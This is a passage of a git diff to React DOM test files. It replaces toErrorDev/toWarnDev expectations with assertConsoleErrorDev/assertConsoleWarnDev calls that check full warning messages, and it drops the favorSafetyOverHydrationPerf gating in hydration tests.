       const markup = ReactDOMServer.renderToString(<Root hello="world" />);
       expect(markup).not.toContain('DOCTYPE');
+      expect(markup).not.toContain('rel="expect"');
       const testDocument = getTestDocument(markup);
       const body = testDocument.body;
 
@@ -115,8 +116,8 @@ describe('rendering React components at document', () => {
       expect(testDocument.firstChild).toBe(originalDocEl);
       expect(testDocument.head).toBe(originalHead);
       expect(testDocument.body).toBe(originalBody);
-      expect(originalBody.firstChild).toEqual(null);
-      expect(originalHead.firstChild).toEqual(null);
+      expect(originalBody.innerHTML).toBe('');
+      expect(originalHead.innerHTML).toBe('');
     });
 
     it('should not be able to switch root constructors', async () => {
@@ -266,47 +267,27 @@ describe('rendering React components at document', () => {
       );
       const testDocument = getTestDocument(markup);
 
-      const favorSafetyOverHydrationPerf = gate(
-        flags => flags.favorSafetyOverHydrationPerf,
-      );
-      expect(() => {
-        ReactDOM.flushSync(() => {
-          ReactDOMClient.hydrateRoot(
-            testDocument,
-            <Component text="Hello world" />,
-            {
-              onRecoverableError: error => {
-                Scheduler.log(
-                  'onRecoverableError: ' + normalizeError(error.message),
-                );
-                if (error.cause) {
-                  Scheduler.log(
-                    'Cause: ' + normalizeError(error.cause.message),
-                  );
-                }
-              },
+      ReactDOM.flushSync(() => {
+        ReactDOMClient.hydrateRoot(
+          testDocument,
+          <Component text="Hello world" />,
+          {
+            onRecoverableError: error => {
+              Scheduler.log(
+                'onRecoverableError: ' + normalizeError(error.message),
+              );
+              if (error.cause) {
+                Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+              }
             },
-          );
-        });
-      }).toErrorDev(
-        favorSafetyOverHydrationPerf
-          ? []
-          : [
-              "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-            ],
-        {withoutStack: true},
-      );
+          },
+        );
+      });
 
-      assertLog(
-        favorSafetyOverHydrationPerf
-          ? [
-              "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
-            ]
-          : [],
-      );
-      expect(testDocument.body.innerHTML).toBe(
-        favorSafetyOverHydrationPerf ? 'Hello world' : 'Goodbye world',
-      );
+      assertLog([
+        "onRecoverableError: Hydration failed because the server rendered text didn't match the client.",
+      ]);
+      expect(testDocument.body.innerHTML).toBe('Hello world');
     });
 
     it('should render w/ no markup to full document', async () => {
diff --git a/packages/react-dom/src/__tests__/ReactServerRendering-test.js b/packages/react-dom/src/__tests__/ReactServerRendering-test.js
index a41488600655..c071d3ff47b5 100644
--- a/packages/react-dom/src/__tests__/ReactServerRendering-test.js
+++ b/packages/react-dom/src/__tests__/ReactServerRendering-test.js
@@ -14,6 +14,7 @@ let React;
 let ReactDOMServer;
 let PropTypes;
 let ReactSharedInternals;
+let assertConsoleErrorDev;
 
 describe('ReactDOMServer', () => {
   beforeEach(() => {
@@ -21,6 +22,8 @@ describe('ReactDOMServer', () => {
     React = require('react');
     PropTypes = require('prop-types');
     ReactDOMServer = require('react-dom/server');
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     ReactSharedInternals =
       React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;
   });
@@ -159,15 +162,18 @@ describe('ReactDOMServer', () => {
     });
 
     it('should not crash on poisoned hasOwnProperty', () => {
-      let html;
-      expect(
-        () =>
-          (html = ReactDOMServer.renderToString(
-            <div hasOwnProperty="poison">
-              <span unknown="test" />
-            </div>,
-          )),
-      ).toErrorDev(['React does not recognize the `hasOwnProperty` prop']);
+      const html = ReactDOMServer.renderToString(
+        <div hasOwnProperty="poison">
+          <span unknown="test" />
+        </div>,
+      );
+      assertConsoleErrorDev([
+        'React does not recognize the `hasOwnProperty` prop on a DOM element. ' +
+          'If you intentionally want it to appear in the DOM as a custom attribute, ' +
+          'spell it as lowercase `hasownproperty` instead. ' +
+          'If you accidentally passed it from a parent component, remove it from the DOM element.\n' +
+          '    in div (at **)',
+      ]);
       expect(html).toContain('<span unknown="test">');
     });
   });
@@ -376,6 +382,14 @@ describe('ReactDOMServer', () => {
           <Component />
         </ContextProvider>,
       );
+      assertConsoleErrorDev([
+        'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in ContextProvider (at **)',
+        'Component uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Component (at **)',
+      ]);
       expect(markup).toContain('hello, world');
     });
 
@@ -591,12 +605,14 @@ describe('ReactDOMServer', () => {
     }
 
     ReactDOMServer.renderToString(<Foo />);
-    expect(() => jest.runOnlyPendingTimers()).toErrorDev(
-      'Can only update a mounting component.' +
-        ' This usually means you called setState() outside componentWillMount() on the server.' +
-        ' This is a no-op.\n\nPlease check the code for the Foo component.',
-      {withoutStack: true},
-    );
+    jest.runOnlyPendingTimers();
+    assertConsoleErrorDev([
+      'Can only update a mounting component. ' +
+        'This usually means you called setState() outside componentWillMount() on the server. ' +
+        'This is a no-op.\n' +
+        '\n' +
+        'Please check the code for the Foo component.',
+    ]);
 
     const markup = ReactDOMServer.renderToStaticMarkup(<Foo />);
     expect(markup).toBe('<div>hello</div>');
@@ -619,12 +635,14 @@ describe('ReactDOMServer', () => {
     }
 
     ReactDOMServer.renderToString(<Baz />);
-    expect(() => jest.runOnlyPendingTimers()).toErrorDev(
+    jest.runOnlyPendingTimers();
+    assertConsoleErrorDev([
       'Can only update a mounting component. ' +
         'This usually means you called forceUpdate() outside componentWillMount() on the server. ' +
-        'This is a no-op.\n\nPlease check the code for the Baz component.',
-      {withoutStack: true},
-    );
+        'This is a no-op.\n' +
+        '\n' +
+        'Please check the code for the Baz component.',
+    ]);
     const markup = ReactDOMServer.renderToStaticMarkup(<Baz />);
     expect(markup).toBe('<div></div>');
   });
@@ -716,41 +734,42 @@ describe('ReactDOMServer', () => {
       // Make sure namespace passes through composites
       return <g>{props.children}</g>;
     }
-    expect(() =>
-      ReactDOMServer.renderToStaticMarkup(
-        <div>
-          <inPUT />
-          <svg>
-            <CompositeG>
-              <linearGradient />
-              <foreignObject>
-                {/* back to HTML */}
-                <iFrame />
-              </foreignObject>
-            </CompositeG>
-          </svg>
-        </div>,
-      ),
-    ).toErrorDev([
+    ReactDOMServer.renderToStaticMarkup(
+      <div>
+        <inPUT />
+        <svg>
+          <CompositeG>
+            <linearGradient />
+            <foreignObject>
+              {/* back to HTML */}
+              <iFrame />
+            </foreignObject>
+          </CompositeG>
+        </svg>
+      </div>,
+    );
+    assertConsoleErrorDev([
       '<inPUT /> is using incorrect casing. ' +
         'Use PascalCase for React components, ' +
-        'or lowercase for HTML elements.',
+        'or lowercase for HTML elements.\n' +
+        '    in inPUT (at **)',
       // linearGradient doesn't warn
       '<iFrame /> is using incorrect casing. ' +
         'Use PascalCase for React components, ' +
-        'or lowercase for HTML elements.',
+        'or lowercase for HTML elements.\n' +
+        '    in iFrame (at **)',
     ]);
   });
 
   it('should warn about contentEditable and children', () => {
-    expect(() =>
-      ReactDOMServer.renderToString(<div contentEditable={true} children="" />),
-    ).toErrorDev(
+    ReactDOMServer.renderToString(<div contentEditable={true} children="" />);
+    assertConsoleErrorDev([
       'A component is `contentEditable` and contains `children` ' +
         'managed by React. It is now your responsibility to guarantee that ' +
         'none of those nodes are unexpectedly modified or duplicated. This ' +
-        'is probably not intentional.\n    in div (at **)',
-    );
+        'is probably not intentional.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('should warn when server rendering a class with a render method that does not extend React.Component', () => {
@@ -760,15 +779,15 @@ describe('ReactDOMServer', () => {
       }
     }
 
-    expect(() => {
-      expect(() =>
-        ReactDOMServer.renderToString(<ClassWithRenderNotExtended />),
-      ).toThrow(TypeError);
-    }).toErrorDev(
+    expect(() =>
+      ReactDOMServer.renderToString(<ClassWithRenderNotExtended />),
+    ).toThrow(TypeError);
+    assertConsoleErrorDev([
       'The <ClassWithRenderNotExtended /> component appears to have a render method, ' +
         "but doesn't extend React.Component. This is likely to cause errors. " +
-        'Change ClassWithRenderNotExtended to extend React.Component instead.',
-    );
+        'Change ClassWithRenderNotExtended to extend React.Component instead.\n' +
+        '    in ClassWithRenderNotExtended (at **)',
+    ]);
 
     // Test deduplication
     expect(() => {
@@ -833,22 +852,16 @@ describe('ReactDOMServer', () => {
       );
     }
 
-    expect(() => ReactDOMServer.renderToString(<App />)).toErrorDev([
+    ReactDOMServer.renderToString(<App />);
+    assertConsoleErrorDev([
       'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
-        '    in b (at **)\n' +
-        '    in C (at **)\n' +
-        '    in font (at **)\n' +
         '    in B (at **)\n' +
         '    in Child (at **)\n' +
-        '    in span (at **)\n' +
-        '    in div (at **)\n' +
         '    in App (at **)',
       'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
         '    in Child (at **)\n' +
-        '    in span (at **)\n' +
-        '    in div (at **)\n' +
         '    in App (at **)',
     ]);
   });
@@ -882,35 +895,37 @@ describe('ReactDOMServer', () => {
       );
     }
 
-    expect(() => ReactDOMServer.renderToString(<App />)).toErrorDev([
+    ReactDOMServer.renderToString(<App />);
+    assertConsoleErrorDev([
       // ReactDOMServer(App > div > span)
       'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
-        '    in div (at **)\n' +
         '    in App (at **)',
       // ReactDOMServer(App > div > Child) >>> ReactDOMServer(App2) >>> ReactDOMServer(blink)
       'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
-        '    in blink (at **)',
+        '    in blink (at **)\n' +
+        '    in App2 (at **)\n' +
+        '    in Child (at **)\n' +
+        '    in App (at **)',
       // ReactDOMServer(App > div > Child) >>> ReactDOMServer(App2 > Child2 > span)
       'Invalid ARIA attribute `ariaTypo3`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
         '    in Child2 (at **)\n' +
-        '    in App2 (at **)',
+        '    in App2 (at **)\n' +
+        '    in Child (at **)\n' +
+        '    in App (at **)',
       // ReactDOMServer(App > div > Child > span)
       'Invalid ARIA attribute `ariaTypo4`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
         '    in Child (at **)\n' +
-        '    in div (at **)\n' +
         '    in App (at **)',
       // ReactDOMServer(App > div > font)
       'Invalid ARIA attribute `ariaTypo5`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in font (at **)\n' +
-        '    in div (at **)\n' +
         '    in App (at **)',
     ]);
   });
 
-  // @gate enableRenderableContext || !__DEV__
   it('should warn if an invalid contextType is defined', () => {
     const Context = React.createContext();
     class ComponentA extends React.Component {
@@ -920,13 +935,13 @@ describe('ReactDOMServer', () => {
       }
     }
 
-    expect(() => {
-      ReactDOMServer.renderToString(<ComponentA />);
-    }).toErrorDev(
+    ReactDOMServer.renderToString(<ComponentA />);
+    assertConsoleErrorDev([
       'ComponentA defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'Did you accidentally pass the Context.Consumer instead?',
-    );
+        'Did you accidentally pass the Context.Consumer instead?\n' +
+        '    in ComponentA (at **)',
+    ]);
 
     // Warnings should be deduped by component type
     ReactDOMServer.renderToString(<ComponentA />);
@@ -965,17 +980,17 @@ describe('ReactDOMServer', () => {
     }
 
     expect(() => {
-      expect(() => {
-        ReactDOMServer.renderToString(<Foo />);
-      }).toThrow("Cannot read property 'world' of undefined");
-    }).toErrorDev(
+      ReactDOMServer.renderToString(<Foo />);
+    }).toThrow("Cannot read property 'world' of undefined");
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
         'However, it is set to undefined. ' +
         'This can be caused by a typo or by mixing up named and default imports. ' +
         'This can also happen due to a circular dependency, ' +
-        'so try moving the createContext() call to a separate file.',
-    );
+        'so try moving the createContext() call to a separate file.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn when class contextType is an object', () => {
@@ -991,14 +1006,14 @@ describe('ReactDOMServer', () => {
     }
 
     expect(() => {
-      expect(() => {
-        ReactDOMServer.renderToString(<Foo />);
-      }).toThrow("Cannot read property 'hello' of undefined");
-    }).toErrorDev(
+      ReactDOMServer.renderToString(<Foo />);
+    }).toThrow("Cannot read property 'hello' of undefined");
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'However, it is set to an object with keys {x, y}.',
-    );
+        'However, it is set to an object with keys {x, y}.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn when class contextType is a primitive', () => {
@@ -1010,14 +1025,14 @@ describe('ReactDOMServer', () => {
     }
 
     expect(() => {
-      expect(() => {
-        ReactDOMServer.renderToString(<Foo />);
-      }).toThrow("Cannot read property 'world' of undefined");
-    }).toErrorDev(
+      ReactDOMServer.renderToString(<Foo />);
+    }).toThrow("Cannot read property 'world' of undefined");
+    assertConsoleErrorDev([
       'Foo defines an invalid contextType. ' +
         'contextType should point to the Context object returned by React.createContext(). ' +
-        'However, it is set to a string.',
-    );
+        'However, it is set to a string.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   describe('custom element server rendering', () => {
diff --git a/packages/react-dom/src/__tests__/ReactServerRenderingHydration-test.js b/packages/react-dom/src/__tests__/ReactServerRenderingHydration-test.js
index 4ce73d652760..5675c7eb0e73 100644
--- a/packages/react-dom/src/__tests__/ReactServerRenderingHydration-test.js
+++ b/packages/react-dom/src/__tests__/ReactServerRenderingHydration-test.js
@@ -17,6 +17,8 @@ let ReactDOMServer;
 let ReactDOMServerBrowser;
 let waitForAll;
 let act;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 // These tests rely both on ReactDOMServer and ReactDOM.
 // If a test only needs ReactDOMServer, put it in ReactServerRendering-test instead.
@@ -32,6 +34,8 @@ describe('ReactDOMServerHydration', () => {
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
     act = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
+    assertConsoleWarnDev = InternalTestUtils.assertConsoleWarnDev;
   });
 
   it('should have the correct mounting behavior', async () => {
@@ -123,39 +127,24 @@ describe('ReactDOMServerHydration', () => {
       // Now simulate a situation where the app is not idempotent. React should
       // warn but do the right thing.
       element.innerHTML = lastMarkup;
-      const favorSafetyOverHydrationPerf = gate(
-        flags => flags.favorSafetyOverHydrationPerf,
-      );
-      await expect(async () => {
-        root = await act(() => {
-          return ReactDOMClient.hydrateRoot(
-            element,
-            <TestComponent
-              name="y"
-              ref={current => {
-                instance = current;
-              }}
-            />,
-            {
-              onRecoverableError: error => {},
-            },
-          );
-        });
-      }).toErrorDev(
-        favorSafetyOverHydrationPerf
-          ? []
-          : [
-              "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-            ],
-        {withoutStack: true},
-      );
+      root = await act(() => {
+        return ReactDOMClient.hydrateRoot(
+          element,
+          <TestComponent
+            name="y"
+            ref={current => {
+              instance = current;
+            }}
+          />,
+          {
+            onRecoverableError: error => {},
+          },
+        );
+      });
+
       expect(mountCount).toEqual(4);
       expect(element.innerHTML.length > 0).toBe(true);
-      if (favorSafetyOverHydrationPerf) {
-        expect(element.innerHTML).not.toEqual(lastMarkup);
-      } else {
-        expect(element.innerHTML).toEqual(lastMarkup);
-      }
+      expect(element.innerHTML).not.toEqual(lastMarkup);
 
       // Ensure the events system works after markup mismatch.
       expect(numClicks).toEqual(1);
@@ -221,27 +210,15 @@ describe('ReactDOMServerHydration', () => {
     const onFocusAfterHydration = jest.fn();
     element.firstChild.focus = onFocusBeforeHydration;
 
-    const favorSafetyOverHydrationPerf = gate(
-      flags => flags.favorSafetyOverHydrationPerf,
-    );
-    await expect(async () => {
-      await act(() => {
-        ReactDOMClient.hydrateRoot(
-          element,
-          <button autoFocus={false} onFocus={onFocusAfterHydration}>
-            client
-          </button>,
-          {onRecoverableError: error => {}},
-        );
-      });
-    }).toErrorDev(
-      favorSafetyOverHydrationPerf
-        ? []
-        : [
-            "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-          ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      ReactDOMClient.hydrateRoot(
+        element,
+        <button autoFocus={false} onFocus={onFocusAfterHydration}>
+          client
+        </button>,
+        {onRecoverableError: error => {}},
+      );
+    });
 
     expect(onFocusBeforeHydration).not.toHaveBeenCalled();
     expect(onFocusAfterHydration).not.toHaveBeenCalled();
@@ -255,19 +232,37 @@ describe('ReactDOMServerHydration', () => {
     expect(element.firstChild.style.textDecoration).toBe('none');
     expect(element.firstChild.style.color).toBe('black');
 
-    await expect(async () => {
-      await act(() => {
-        ReactDOMClient.hydrateRoot(
-          element,
-          <div
-            style={{textDecoration: 'none', color: 'white', height: '10px'}}
-          />,
-        );
-      });
-    }).toErrorDev(
-      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      {withoutStack: true},
-    );
+    await act(() => {
+      ReactDOMClient.hydrateRoot(
+        element,
+        <div
+          style={{textDecoration: 'none', color: 'white', height: '10px'}}
+        />,
+      );
+    });
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n" +
+        '\n' +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\nIt can also happen if the client has a browser extension ' +
+        'installed which messes with the HTML before React loaded.\n' +
+        '\n' +
+        'https://react.dev/link/hydration-mismatch\n' +
+        '\n' +
+        '  <div\n    style={{\n+     textDecoration: "none"\n' +
+        '+     color: "white"\n' +
+        '-     color: "black"\n' +
+        '+     height: "10px"\n' +
+        '-     height: "10px"\n' +
+        '-     text-decoration: "none"\n' +
+        '    }}\n' +
+        '  >\n' +
+        '\n    in div (at **)',
+    ]);
   });
 
   it('should not warn when the style property differs on whitespace or order in IE', async () => {
@@ -303,19 +298,39 @@ describe('ReactDOMServerHydration', () => {
     element.innerHTML =
       '<div style="text-decoration: none; color: black; height: 10px;"></div>';
 
-    await expect(async () => {
-      await act(() => {
-        ReactDOMClient.hydrateRoot(
-          element,
-          <div
-            style={{textDecoration: 'none', color: 'black', height: '10px'}}
-          />,
-        );
-      });
-    }).toErrorDev(
-      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-      {withoutStack: true},
-    );
+    await act(() => {
+      ReactDOMClient.hydrateRoot(
+        element,
+        <div
+          style={{textDecoration: 'none', color: 'black', height: '10px'}}
+        />,
+      );
+    });
+    assertConsoleErrorDev([
+      "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. " +
+        "This won't be patched up. This can happen if a SSR-ed Client Component used:\n" +
+        '\n' +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\nIt can also happen if the client has a browser extension ' +
+        'installed which messes with the HTML before React loaded.\n' +
+        '\n' +
+        'https://react.dev/link/hydration-mismatch\n' +
+        '\n' +
+        '  <div\n' +
+        '    style={{\n' +
+        '+     textDecoration: "none"\n' +
+        '+     color: "black"\n' +
+        '-     color: "black"\n' +
+        '+     height: "10px"\n' +
+        '-     height: "10px"\n' +
+        '-     text-decoration: "none"\n' +
+        '    }}\n' +
+        '  >\n' +
+        '\n    in div (at **)',
+    ]);
   });
 
   it('should throw rendering portals on the server', () => {
@@ -347,18 +362,33 @@ describe('ReactDOMServerHydration', () => {
     );
 
     const element = document.createElement('div');
-    expect(() => {
-      element.innerHTML = ReactDOMServer.renderToString(markup);
-    }).toWarnDev('componentWillMount has been renamed');
+    element.innerHTML = ReactDOMServer.renderToString(markup);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n' +
+        '\n' +
+        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\n' +
+        '\n' +
+        'Please update the following components: ComponentWithWarning\n' +
+        '    in ComponentWithWarning (at **)',
+    ]);
     expect(element.textContent).toBe('Hi');
 
-    await expect(async () => {
-      await act(() => {
-        ReactDOMClient.hydrateRoot(element, markup);
-      });
-    }).toWarnDev('componentWillMount has been renamed', {
-      withoutStack: true,
+    await act(() => {
+      ReactDOMClient.hydrateRoot(element, markup);
     });
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n' +
+        '\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\n' +
+        'Please update the following components: ComponentWithWarning',
+    ]);
     expect(element.textContent).toBe('Hi');
   });
 
@@ -528,33 +558,17 @@ describe('ReactDOMServerHydration', () => {
     );
     domElement.innerHTML = markup;
 
-    const favorSafetyOverHydrationPerf = gate(
-      flags => flags.favorSafetyOverHydrationPerf,
-    );
-    await expect(async () => {
-      await act(() => {
-        ReactDOMClient.hydrateRoot(
-          domElement,
-          <div dangerouslySetInnerHTML={undefined}>
-            <p>client</p>
-          </div>,
-          {onRecoverableError: error => {}},
-        );
-      });
-    }).toErrorDev(
-      favorSafetyOverHydrationPerf
-        ? []
-        : [
-            "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.",
-          ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      ReactDOMClient.hydrateRoot(
+        domElement,
+        <div dangerouslySetInnerHTML={undefined}>
+          <p>client</p>
+        </div>,
+        {onRecoverableError: error => {}},
+      );
+    });
 
-    if (favorSafetyOverHydrationPerf) {
-      expect(domElement.innerHTML).not.toEqual(markup);
-    } else {
-      expect(domElement.innerHTML).toEqual(markup);
-    }
+    expect(domElement.innerHTML).not.toEqual(markup);
   });
 
   it('should warn if innerHTML mismatches with dangerouslySetInnerHTML=undefined on the client', async () => {
@@ -593,13 +607,13 @@ describe('ReactDOMServerHydration', () => {
       const jsx = React.createElement('my-custom-element', props);
       const element = document.createElement('div');
       element.innerHTML = ReactDOMServer.renderToString(jsx);
-      await expect(async () => {
-        await act(() => {
-          ReactDOMClient.hydrateRoot(element, jsx);
-        });
-      }).toErrorDev(
-        `Assignment to read-only property will result in a no-op: \`${readOnlyProperty}\``,
-      );
+      await act(() => {
+        ReactDOMClient.hydrateRoot(element, jsx);
+      });
+      assertConsoleErrorDev([
+        `Assignment to read-only property will result in a no-op: \`${readOnlyProperty}\`
+            in my-custom-element (at **)`,
+      ]);
     }
   });
 
diff --git a/packages/react-dom/src/__tests__/ReactTestUtilsAct-test.js b/packages/react-dom/src/__tests__/ReactTestUtilsAct-test.js
index c76b59ba6e40..64ccc387d75a 100644
--- a/packages/react-dom/src/__tests__/ReactTestUtilsAct-test.js
+++ b/packages/react-dom/src/__tests__/ReactTestUtilsAct-test.js
@@ -13,6 +13,7 @@ let Scheduler;
 let act;
 let container;
 let assertLog;
+let assertConsoleErrorDev;
 
 jest.useRealTimers();
 
@@ -88,6 +89,7 @@ function runActTests(render, unmount, rerender) {
 
       const InternalTestUtils = require('internal-test-utils');
       assertLog = InternalTestUtils.assertLog;
+      assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
       container = document.createElement('div');
       document.body.appendChild(container);
@@ -205,8 +207,20 @@ function runActTests(render, unmount, rerender) {
           render(<App />, container);
         });
 
-        expect(() => setValue(1)).toErrorDev([
-          'An update to App inside a test was not wrapped in act(...).',
+        setValue(1);
+        assertConsoleErrorDev([
+          'An update to App inside a test was not wrapped in act(...).\n' +
+            '\n' +
+            'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+            '\n' +
+            'act(() => {\n' +
+            '  /* fire events that update state */\n' +
+            '});\n' +
+            '/* assert on the output */\n' +
+            '\n' +
+            "This ensures that you're testing the behavior the user would see in the browser. " +
+            'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+            '    in App (at **)',
         ]);
       });
 
@@ -232,8 +246,20 @@ function runActTests(render, unmount, rerender) {
           rerender(<App defaultValue={0} />, container);
         });
 
-        expect(() => setValue(1)).toErrorDev([
-          'An update to App inside a test was not wrapped in act(...).',
+        setValue(1);
+        assertConsoleErrorDev([
+          'An update to App inside a test was not wrapped in act(...).\n' +
+            '\n' +
+            'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+            '\n' +
+            'act(() => {\n' +
+            '  /* fire events that update state */\n' +
+            '});\n' +
+            '/* assert on the output */\n' +
+            '\n' +
+            "This ensures that you're testing the behavior the user would see in the browser. " +
+            'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+            '    in App (at **)',
         ]);
       });
 
@@ -251,9 +277,21 @@ function runActTests(render, unmount, rerender) {
         });
 
         // First show that it does warn
-        expect(() => setState(1)).toErrorDev(
-          'An update to App inside a test was not wrapped in act(...)',
-        );
+        setState(1);
+        assertConsoleErrorDev([
+          'An update to App inside a test was not wrapped in act(...).\n' +
+            '\n' +
+            'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+            '\n' +
+            'act(() => {\n' +
+            '  /* fire events that update state */\n' +
+            '});\n' +
+            '/* assert on the output */\n' +
+            '\n' +
+            "This ensures that you're testing the behavior the user would see in the browser. " +
+            'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+            '    in App (at **)',
+        ]);
 
         // Now do the same thing again, but disable with the environment flag
         const prevIsActEnvironment = global.IS_REACT_ACT_ENVIRONMENT;
@@ -266,9 +304,21 @@ function runActTests(render, unmount, rerender) {
 
         // When the flag is restored to its previous value, it should start
         // warning again. This shows that React reads the flag each time.
-        expect(() => setState(3)).toErrorDev(
-          'An update to App inside a test was not wrapped in act(...)',
-        );
+        setState(3);
+        assertConsoleErrorDev([
+          'An update to App inside a test was not wrapped in act(...).\n' +
+            '\n' +
+            'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+            '\n' +
+            'act(() => {\n' +
+            '  /* fire events that update state */\n' +
+            '});\n' +
+            '/* assert on the output */\n' +
+            '\n' +
+            "This ensures that you're testing the behavior the user would see in the browser. " +
+            'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+            '    in App (at **)',
+        ]);
       });
 
       describe('fake timers', () => {
@@ -729,13 +779,5 @@ function runActTests(render, unmount, rerender) {
         });
       }
     });
-    describe('throw in prod mode', () => {
-      // @gate !__DEV__
-      it('warns if you try to use act() in prod mode', () => {
-        expect(() => act(() => {})).toThrow(
-          'act(...) is not supported in production builds of React',
-        );
-      });
-    });
   });
 }
diff --git a/packages/react-dom/src/__tests__/ReactUpdates-test.js b/packages/react-dom/src/__tests__/ReactUpdates-test.js
index a0c46a01d4a3..cf2e958d4511 100644
--- a/packages/react-dom/src/__tests__/ReactUpdates-test.js
+++ b/packages/react-dom/src/__tests__/ReactUpdates-test.js
@@ -18,6 +18,20 @@ let Scheduler;
 let waitForAll;
 let waitFor;
 let assertLog;
+let assertConsoleErrorDev;
+
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+      const dot = name.lastIndexOf('.');
+      if (dot !== -1) {
+        name = name.slice(dot + 1);
+      }
+      return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+    })
+  );
+}
 
 describe('ReactUpdates', () => {
   beforeEach(() => {
@@ -29,6 +43,8 @@ describe('ReactUpdates', () => {
       ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE
         .findDOMNode;
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     Scheduler = require('scheduler');
 
     const InternalTestUtils = require('internal-test-utils');
@@ -760,7 +776,6 @@ describe('ReactUpdates', () => {
       });
     });
 
-    /* eslint-disable indent */
     expect(updates).toEqual([
       'Outer-render-0',
       'Inner-render-0-0',
@@ -789,7 +804,6 @@ describe('ReactUpdates', () => {
       'Inner-didUpdate-2-2',
       'Inner-callback-2',
     ]);
-    /* eslint-enable indent */
   });
 
   it('should flush updates in the correct order across roots', async () => {
@@ -1041,38 +1055,36 @@ describe('ReactUpdates', () => {
       root.render(<A ref={current => (component = current)} />);
     });
 
-    await expect(
-      expect(async () => {
-        await act(() => {
-          component.setState({}, 'no');
-        });
-      }).toErrorDev(
-        'Expected the last optional `callback` argument to be ' +
-          'a function. Instead received: no.',
-      ),
-    ).rejects.toThrowError(
+    await expect(async () => {
+      await act(() => {
+        component.setState({}, 'no');
+      });
+    }).rejects.toThrowError(
       'Invalid argument passed as callback. Expected a function. Instead ' +
         'received: no',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be ' +
+        'a function. Instead received: no.',
+    ]);
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<A ref={current => (component = current)} />);
     });
 
